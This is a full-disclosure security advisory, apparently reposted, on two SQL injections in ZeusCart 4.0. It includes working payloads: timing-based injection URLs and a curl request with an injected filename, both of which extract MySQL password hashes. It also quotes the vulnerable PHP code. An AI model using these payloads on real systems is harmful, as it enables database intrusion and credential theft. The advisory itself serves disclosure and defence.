ZeusCart 4.0: SQL Injection Security Advisory – Curesec Research Team
Affected Product: ZeusCart 4.0
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Contact: support@zeuscart.com
Vulnerability Type: SQL Injection
Remote Exploitable: Yes
Reported to vendor: 08/13/2015
Disclosed to public: 09/14/2015
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH
There are at least two SQL Injections in ZeusCart 4.0, one being a blind injection which does not require credentials to be exploited, the other being a standard injection in the admin area.
Because the prevention of SQL Injection depends to a large part on applying simple filters on most input instead of using prepared stamements, it is highly likely that there will be more SQL injection vulnerabilities that are not covered here.
There is a blind timing based SQL injection into the maincatid argument. An attacker does not need to be authenticated to exploit this. Proof Of Concept
http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1 AND IF(SUBSTRING(version(), 1, 1)=5,BENCHMARK(500000000,version()),null) -> true
http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1 AND IF(SUBSTRING(version(), 1, 1)=4,BENCHMARK(500000000,version()),null) -> false Please note that there is a bug when displaying featured items, so this will display an error message or show a blank page. The timing difference is still present, and can thus be exploited, but content based exploitation is not possible because of this.
Also note that quotes may not be used in the payload, as quotes are sanitized. It is still possible to extract data:
http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1 AND IF(ascii(substring((SELECT password from mysql.user limit 0,1),1,1))=42,BENCHMARK(500000000,version()),null) -> true, password hash starts with *
Code
/classes/Core/CFeaturedItems.php:52
$maincatid = $_GET['maincatid'];
[...]
$sql = "SELECT DISTINCT a.category_name AS
Category,a.category_id AS maincatid, b.category_name AS SubCategory,
b.category_id as subcatid, b.category_image AS image FROM category_table
a INNER JOIN category_table b ON a.category_id = b.category_parent_id
WHERE b.category_parent_id=".$maincatid." AND b.category_status=1 ";
All GET, POST, and REQUEST input is sanitized via filter_var($value, FILTER_SANITIZE_STRING), which offers some protection against SQL injection and XSS, but is not recommended as only defense.
For many queries, there is no further defense via escaping or prepared statements. This makes all queries that get their data from different sources than GET, POST, and REQUEST - such as FILES -, and all queries containing unquoted parameters - such as seen in the blind injection above - vulnerable. Proof Of Concept The steps to reproduce this issue are as following
Log in as admin
Create a new product, using a file name for ufile[0] like:
"image.jpgblla', description=(SELECT password FROM mysql.user limit 0,1), image='test Visiting http://localhost/zeuscart-master/admin/index.php?do=aprodetail&action=showprod&prodid=PRODUCTID will give the result of the injected query.
Curl command to create a new product:
curl -i -s -k -X 'POST' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0)
Gecko/20100101 Firefox/40.0' -H 'DNT: 1' -H 'Content-Type:
multipart/form-data; boundary=--------2025782171' \
-b 'PHPSESSID=hsa73tae4bq4ev381430dbfif0' \
--data-binary $'----------2025782171\x0d\x0aContent-Disposition:
form-data; name=\"selcatgory[]\"\x0d\x0a\x0d\x0aChoose
Category\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"selcatgory[]\"\x0d\x0a\x0d\x0a25\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"product_title\"\x0d\x0a\x0d\x0aMYTESTPRODUCT2\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"sku\"\x0d\x0a\x0d\x0a77\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"txtweight\"\x0d\x0a\x0d\x0a77\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"status\"\x0d\x0a\x0d\x0aon\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data; name=\"ufile[0]\"; filename=\"image.jpgblla\',
description=(SELECT password FROM mysql.user limit 0,1),
image=\'test\"\x0d\x0aContent-Type:
image/jpeg\x0d\x0a\x0d\x0acontent\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"price\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"msrp_org\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"soh\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171--\x0d\x0a' \
'http://localhost/zeuscart-master/admin/index.php?do=productentry&action=insert'
Code CProductEntry.php:313
$imgfilename= $_FILES['ufile']['name'][$i];
$imagefilename =
date("Y-m-d-His").$imgfilename ; // generate a new name
$image="images/products/". $imagefilename;
// updated into DB
[...]
if($i==0)
{
$imgType='main';
$update="UPDATE products_table set
image='$image',thumb_image='$thumb_image',large_image_path='$large_image' where
product_id='".$product_id."'";
$obj->updateQuery($update);
}
else
{
$imgType='sub';
}
if($_FILES['ufile']['name'][$i]!='')
{
$query_img="INSERT INTO
product_images_table(product_id,image_path,thumb_image_path,type,large_image_path)
VALUES('".$product_id."','$image','$thumb_image','$imgType','$large_image')";
$obj_img=new Bin_Query();
$obj_img->updateQuery($query_img);
}
}
This issue was not fixed by the vendor.
08/13/2015 Informed Vendor about Issue (no reply) 09/07/2015 Reminded Vendor of release date (no reply) 09/14/2015 Disclosed to public
暂无临时解决方案
暂无官方解决方案
暂无防护方案
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
暂无评论